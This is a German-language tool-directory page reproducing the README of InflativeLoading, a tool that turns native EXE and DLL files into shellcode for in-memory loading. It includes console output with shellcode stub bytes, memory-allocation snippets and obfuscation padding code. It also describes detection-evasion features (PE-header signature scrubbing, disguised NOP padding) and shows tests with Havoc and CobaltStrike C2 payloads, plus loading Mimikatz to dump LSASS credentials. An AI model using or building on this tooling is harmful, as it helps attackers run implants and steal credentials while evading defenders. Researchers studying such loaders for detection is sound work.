Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
InflativeLoading — Konvertieren Sie dynamisch eine nicht verwaltete EXE- oder DLL-Datei in PIC-Shellcode, indem Sie einen Shellcode-Stub voranstellen. | Kitploit
Tools/GitHubGitHub/senzee1984/inflativeloading
Payload-GenerierungExploitationReverse EngineeringShellcodeMalware-AnalyseBinary-Exploitation
GitHubsenzee1984/inflativeloading

InflativeLoading

Konvertieren Sie dynamisch eine nicht verwaltete EXE- oder DLL-Datei in PIC-Shellcode, indem Sie einen Shellcode-Stub voranstellen.

Repository anzeigen
326703vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

InflativeLoading

Article: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading

Wichtige Update-Historie

In diesem Abschnitt werden wichtige Aktualisierungen bereitgestellt. Wichtige Aktualisierungen beinhalten hinzugefügte Unterstützungen oder Funktionen.

4/11/2024 PE-Signatur-Verschleierung hinzugefügt

Nur wenige Bytes im PE-Header, wie e_lfanew, die RVA des Importverzeichnisses, sind für den Abschluss des Ladevorgangs wesentlich. Daher können andere Bytes mit zufälligen Werten überschrieben werden, um PE-Header-Signaturen zu verbergen.

Nach Abschluss aller Prozesse werden sogar diese Bytes zur vollständigen Verschleierung überschrieben. Zum Beispiel können wir im folgenden Screenshot erkennen, dass der PE-Header größtenteils verschleiert ist, aber e_lfanew bleibt für Ladezwecke unverschleiert. Aber nach dem Ladevorgang wird auch e_lfanew verschleiert.

image

Allerdings ist die Verschleierung je nach ausgewähltem Programm möglicherweise nicht damit kompatibel. Sie sollten wissen, wie das Programm funktioniert. Zum Beispiel ist der zustandslose Havoc DLL-Payload nicht mit der Verschleierungsfunktion kompatibel, da die DLL ebenfalls den PE-Header verwendet.

image

Havoc stageless EXE-Payload funktioniert gut mit der Verschleierung:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] 3 iterations are needed

[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin

██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝

root@kitploit:~
██╗      ██████╗  █████╗ ██████╗ ██╗███╗   ██╗ ██████╗
██║     ██╔═══██╗██╔══██╗██╔══██╗██║████╗  ██║██╔════╝
██║     ██║   ██║███████║██║  ██║██║██╔██╗ ██║██║  ███╗
██║     ██║   ██║██╔══██║██║  ██║██║██║╚██╗██║██║   ██║
███████╗╚██████╔╝██║  ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝

Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!

[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;

[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes

buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......

Generated shellcode successfully saved in file havocsc.bin

[#] Shellcode located at address 0x1ae8ab70000

[!] PRESS TO EXECUTE SHELLCODED EXE...

root@kitploit:~
### 4.11.2024 Ersetze aufgefüllte NOPs durch NOP-ähnliche Instruktionssequenzen
Vor dem Update werden `0x90/NOP`-Instruktionen nach dem eigentlichen Shellcode-Stub aufgefüllt, um eine Speicherseite auszurichten. Viele NOPs könnten eine Erkennung ermöglichen, daher wählt das InflativeLoading-Skript dynamisch voreingestellte NOP-ähnliche Instruktionssequenzen aus. Benutzer können auch neue hinzufügen oder bestehende ersetzen, um eine bessere Verschleierung zu erreichen.```python
    nop_like_instructions = [
        {"instruction": [0x90], "length": 1},  # NOP
        {"instruction": [0x86, 0xdb], "length": 2},  # xchg bl, bl;
        {"instruction": [0x66, 0x87, 0xf6], "length": 3},  # xchg si, si;
        {"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4},  # xchg rax, rbx; xchg rbx, rax;
        {"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4},  # add dx, 0
        {"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6},  # inc rax; dec rax;
        {"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6},  # neg r8; neg r8;
        {"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7},  # add rax,0x1; dec rax;
        {"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10},  # sub rcx, 2; inc rcx; inc rcx
    ]

4/11/2024 Verbesserte Shellcode-Logik

Ich habe zusätzliche Shellcode-Logik hinzugefügt, um einige ungewöhnliche Ausnahmen zu behandeln. Beispielsweise sind im zustandslosen DLL-Payload von CobaltStrike einige Basis-Relokationseinträge ungültig, weil die Seiten-RVA größer als die Imagegröße ist.

Die Imagegröße ist 0x58000. image

Allerdings sind einige RVAs größer als 0x58000. image

Außerdem beendet der Shellcode das Programm ordnungsgemäß nach der Ausführung des konvertierten Shellcodes.

4/11/2024 Verbesserter PE-Dumper

Jetzt kann der Dumper mehr Informationen anzeigen und Vorschläge für die Speicherzuweisung geben:```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);

root@kitploit:~
Der Shellcode-Stub ist auf `0x1000` Bytes festgelegt, der PE-Header ist auf `0x1000` Bytes festgelegt, und die Größe des Textabschnitts und anderer Abschnitte variiert.


### 4/11/2024 Unterstützung für nicht verwaltete DLLs hinzugefügt
Nach dem Update können auch nicht verwaltete DLLs in PIC-Shellcode konvertiert werden. Testfälle für benutzerdefinierte DLLs, Havoc stageless DLL-Payload und CobaltStrike stageless DLL-Payload wurden bestanden.```powershell
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin
[+] The file is a DLL file
[+] Image base of mapped .\havocdll.dll is 0x1a730000
[+] e_lfanew of mapped .\havocdll.dll is 0x80
[+] imageSize of mapped .\havocdll.dll is 0x1e000
[+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0
[+] Offset of section Header of mapped .\havocdll.dll is 0x188
[+] Size of text section of mapped .\havocdll.dll is 0x18000
[+] Size of other sections of mapped .\havocdll.dll is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] Data successfully written to havocdll.bin
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havocdll.bin -e true -o false -b havocdllsc.bin

██╗███╗   ██╗███████╗██╗      █████╗ ████████╗██╗██╗   ██╗███████╗
██║████╗  ██║██╔════╝██║     ██╔══██╗╚══██╔══╝██║██║   ██║██╔════╝
██║██╔██╗ ██║█████╗  ██║     ███████║   ██║   ██║██║   ██║█████╗
██║██║╚██╗██║██╔══╝  ██║     ██╔══██║   ██║   ██║╚██╗ ██╔╝██╔══╝
██║██║ ╚████║██║     ███████╗██║  ██║   ██║   ██║ ╚████╔╝ ███████╗
╚═╝╚═╝  ╚═══╝╚═╝     ╚══════╝╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═══╝  ╚══════╝

    ██╗      ██████╗  █████╗ ██████╗ ██╗███╗   ██╗ ██████╗
    ██║     ██╔═══██╗██╔══██╗██╔══██╗██║████╗  ██║██╔════╝
    ██║     ██║   ██║███████║██║  ██║██║██╔██╗ ██║██║  ███╗
    ██║     ██║   ██║██╔══██║██║  ██║██║██║╚██╗██║██║   ██║
    ███████╗╚██████╔╝██║  ██║██████╔╝██║██║ ╚████║╚██████╔╝
    ╚══════╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝

Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!



[!] The offset to NT header is 0x80


[+] Shellcode Stub size: 850 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes


buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......


Generated shellcode successfully saved in file havocdllsc.bin


[#] Shellcode located at address 0x2108a9d0000

[!] PRESS TO EXECUTE SHELLCODED EXE...

image

2/19/2024 Grundlegende Unterstützung für UPX-gepackte EXE hinzugefügt

Ich habe den Code, der die IAT repariert, leicht modifiziert, da ich einige Codezeilen als unnötig erkannt habe. Danach kann InflativeLoading einige UPX-gepackte EXE-Programme ausführen, darunter calc.exe und PsExec. Allerdings nur einen Teil der gepackten Programme. Erstens werde ich wahrscheinlich nicht alle möglichen Pack-Konfigurationen für alle getesteten Programme testen. Für den zweiten Grund lesen Sie bitte weiter:

Für Programme, die keine delayed import directory haben, kann InflativeLoading UPX-gepackte Versionen von ihnen ausführen. Im Gegensatz zu entpackten Programmen haben gepackte Programme jedoch alle ILT leer.

Nehmen Sie die normale calc.exe als Beispiel: ILT und IAT sind für alle Module identisch. image

Aber bei der UPX-gepackten calc.exe ist ILT für alle Einträge im Importverzeichnis leer. image

Wenn das Programm jedoch ein verzögertes Importverzeichnis hat, wie Mimikatz, wird es komplexer.

Bei der normalen mimikatz.exe sieht das verzögerte Importverzeichnis wie folgt aus: image

Aber bei der UPX-gepackten mimikatz.exe kann PE Bear es nicht analysieren, und ich auch nicht. image

Unten ist ein bestandener Testfall für UPX-gepackte calc.exe. image

Hintergrund

Eines meiner Ziele ist es, eine EXE in Shellcode umzuwandeln. Auf diese Weise können einige Sicherheitstools wie Mimikatz mit mehr Flexibilität eingesetzt werden. Obwohl einige Tools wie Donut dies bereits erreicht haben, möchte ich dennoch ein solches Tool mit meinem Ansatz erstellen, in der Hoffnung, dass es einige Verbesserungen bringt.

Motiviert und inspiriert von einigen klassischen und modernen Tools und Techniken, ist InflativeLoading ein Tool, das dynamisch eine nicht verwaltete EXE/DLL in PIC-Shellcode umwandeln kann.

Kurz gesagt, InflativeLoading generiert einen Shellcode-Stub und stellt ihn einem ausgelagerten PE-Hauptmodul voran.

Das Tool besteht aus DumpPEFromMemory.exe und InflativeLoading.py.

Enthaltene Komponenten

Die folgenden zwei Komponenten sind erforderlich, um eine nicht verwaltete PE-Datei in Shellcode umzuwandeln.

DumpPEFromMemory-Projekt

DumpPEFromMemory.exe wird verwendet, um die speicherresidente Version der ausgewählten PE-Datei zu erhalten.

Bei EXE-Programmen funktioniert es, indem ein Prozess im angehaltenen Zustand erstellt und das Hauptmodul in eine Binärdatei (auf Ihrem Entwicklungsrechner) ausgelagert wird. Warum? Ein typischer reflexiver Ladevorgang bildet jeden Abschnitt einer PE-Datei auf einen neu zugewiesenen Speicherbereich ab. Dazu habe ich zwei Bedenken: Erstens, obwohl die Daten jedes Abschnitts grundlegend konsistent sind, unabhängig davon, ob sie auf der Festplatte oder im Speicher liegen, könnte es dennoch bestimmte Unterschiede für bestimmte PE-Dateien oder unter bestimmten Umständen geben.```c // Code snippet from Maldev course for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) { memcpy( (PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA (PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size ); }

root@kitploit:~
Für `DLL`-Dateien erstellt DumPEFromMemory eine Dateizuordnung und bildet eine Ansicht der Datei ab, ohne DllMain() auszuführen.


Zweitens existiert der Inhalt der PE-Datei bereits im Speicher des Loaders (wie ein Byte-Array), aber der Loader weist erneut Speicherplatz zu. Die Ausführung von DumpPEFromMemory wird auf dem Entwicklungsrechner des Operators abgeschlossen. Der Operator erhält einen Dump der PE-Datei, wenn sie in den Speicher geladen wird. Obwohl einige Daten noch aktualisiert werden müssen, ist die Zuweisung eines Speicherbereichs auf dem Rechner des Opfers nicht erforderlich.

Auf diese Weise müssen wir, anstatt eine Datei manuell zu mappen, nur spezifische Datenbereiche wie `Import Directory`, `Base Relocation Table Directory`, `Delayed Load Import Descriptors Directory` usw. patchen.

Das gedumpte Hauptmodul wird als Binärdatei gespeichert, um an den Shellcode-Stub angehängt zu werden.

Zum Beispiel führt DumpPEFromMemory das klassische Tool mimikatz aus und dumpt dessen Hauptmodul in eine Binärdatei.```powershell
PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\mimikatz.exe mimikatz.bin
[+] The file is an EXE file
[+] Process PID: 23052
[+] PEB Address:00000000004A5000
[+] Image Base Address:00007FF730E00000
[+] e_lfanew is 0x120
[+] Size Of The Image : 0x137000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0xc5000
[+] Size of other sections of mapped .\mimikatz.exe is 0x71000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);

[+] 29 iterations are needed

[+] Data successfully written to mimikatz.bin. Total bytes read: 0x137000

image

Und dumpen Sie den Havoc DLL-Payload aus dem Speicher:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] Data successfully written to havocdll.bin

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/6494/e69ec25d4b0073df13521e25519ac47d76f2e999b15f58756efe4d5e89d67e9a.jpg)



### InflativeLoading Script
Das Skript generiert dynamisch einen Shellcode-Stub und stellt ihn der Dump-Datei voran.

Der Shellcode führt folgende Aufgaben aus:
1. Durchläuft das PEB und findet kernel32.dll
2. Aktualisiert die Befehlszeile
3. Analysiert kernel32.dll, um die Adressen der Funktionen LoadLibraryA und GetProcAddress zu erhalten.
4. Lokalisiert die angehängte Dump-Datei mit einem Offset
5. Repariert dynamisch das Import-Verzeichnis, das Basis-Relocation-Tabellen-Verzeichnis, das Delayed-Load-Import-Deskriptoren-Verzeichnis usw.
6. Bietet die Möglichkeit, den PE-Header zu verschleiern
7. Übergibt die Ausführung an den Einstiegspunkt der PE-Datei.
8. Beendet sich ordnungsgemäß

So kann beispielsweise das Skript verwendet werden, um einen zuvor ausgelesenen mimikatz zu laden und die richtige Befehlszeile bereitzustellen, um Anmeldeinformationen im LSASS auszulesen:

![image](https://assets.kitploit.com/production/public/readmes/6494/3dc22f1cb9a5a680988845e923fdd52fe1f263e09a92ff2b517f84db5604a80c.jpg)

Obwohl der Shellcode-Stub normalerweise weniger als 1000 Bytes beträgt, füllt das Skript ihn dennoch auf 4096 Bytes auf, um ihn an der Speicherseitengrenze auszurichten. Der Bediener kann dann leicht die entsprechenden Seitenberechtigungen für verschiedene Speicherbereiche festlegen. Der Dumper gibt einen Vorschlag zur Speicherzuweisung:```powershell
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);

Wie benutzt man?

Ich glaube, Sie haben bereits beide Komponenten von InflativeLoading durchgesehen. Zusammenfassend:

  1. Verwenden Sie DumpPEFromMemory.exe, um eine nicht verwaltete PE-Datei auszuwählen und das PE-Hauptmodul aus dem Speicher in eine Bin-Datei zu dumpen. Informationen zur Auswahl von PE-Dateien finden Sie in den Abschnitten Beste Anwendungsfälle und Bekannte Probleme oder Einschränkungen.
  2. Verwenden Sie das Skript InflativeLoading.py, um einen Shellcode-Stub für die Dump-Datei voranzustellen. Sie können wählen, ob Sie eine Befehlszeile angeben, ob Sie verschleiern oder nicht, und ob der generierte Shellcode sofort ausgeführt werden soll. Derzeit funktioniert die vom Benutzer bereitgestellte Befehlszeile nur für eine kleine Anzahl von Programmen ordnungsgemäß.

Beste Anwendungsfälle

Da sich InflativeLoading in einem frühen Stadium befindet, wird nicht jede exe gut unterstützt. Nicht verwaltete DLLs werden gut unterstützt; die Ausführung der Exportfunktion kommt im nächsten Update!

✅ Nicht verwaltetes Konsolenprogramm, das nicht von Argumenten abhängt, wie stageless C2-Implant, einfaches benutzerdefiniertes Konsolenprogramm.

✅ Nicht verwaltetes Konsolenprogramm mit interaktiver Konsole/Shell, wie Mimikatz.

✅ Nicht verwaltete DLL

Verbesserung gegenüber ReflectiveLoader

✔️ Es sind keine spezifischen Exportfunktionen erforderlich, was es freundlicher gegenüber PE-Dateien macht, für die Quellcode und Kompilierung nicht bequem zugänglich sind.

✔️ Vermeidet unbeabsichtigte Ergebnisse aufgrund von Unterschieden zwischen der PE-Datei auf der Festplatte und im Speicher in bestimmten Fällen.

✔️ Beseitigt die Notwendigkeit der Konvertierung zwischen ursprünglichem Dateioffset und RVA.

✔️ Vermeidet zusätzliche Speicherzuweisung.

✔️ Vermeidet RWX-Speicherbereiche.

✔️ Selbst bei RX-Speicherbereichen beginnt es nicht mit der MZ-Charakteristik, was die Schwierigkeit der Untersuchung erhöht.

Fähigkeiten

☑️ Unterstützung für normale native EXE

☑️ Unterstützung für nicht verwaltete DLL

☑️ Unterstützung für EXE/DLL mit Delayed Import Directory

☑️ IAT reparieren

☑️ Basis-Relocation-Verzeichnis reparieren

☑️ Tests bestanden mit klassischen Programmen wie calc, mimikatz, PsExec, etc.

☑️ Tests bestanden mit klassischer C2-Payload, wie CobaltStrike und Havoc stageless DLL/EXE-Payload.

☑️ Teilweise Unterstützung für gepackte Programme.

Bekannte Probleme oder Einschränkungen

⚠️ Einige der folgenden Probleme könnten in Zukunft behoben werden, während andere aufgrund ihrer Art außerhalb des Rahmens liegen.

  • Die bereitgestellte Befehlszeile funktioniert nicht immer ordnungsgemäß. Dies ist ein Hauptbereich, auf den ich mich konzentrieren werde.

  • Funktioniert nicht gut für GUI-Programme wie mspaint.exe. Aber calc.exe funktioniert gut.

  • Funktioniert nicht für alle gepackten Programme. Einige der gepackten Programme können gut ausgeführt werden, das ist von Fall zu Fall unterschiedlich.

  • Funktioniert nicht für Programme, die andere Abhängigkeiten benötigen, wie benutzerdefinierte DLLs.

  • Unterstützt nur x64, und ich habe nicht vor, Unterstützung für x86-Programme hinzuzufügen.

Wenn Sie auf eines der oben genannten Probleme oder Einschränkungen stoßen, kann die Ausführung von Shellcode abstürzen, das konvertierte Programm die Befehlszeile nicht ordnungsgemäß erkennen oder es kann keine Reaktion erfolgen.

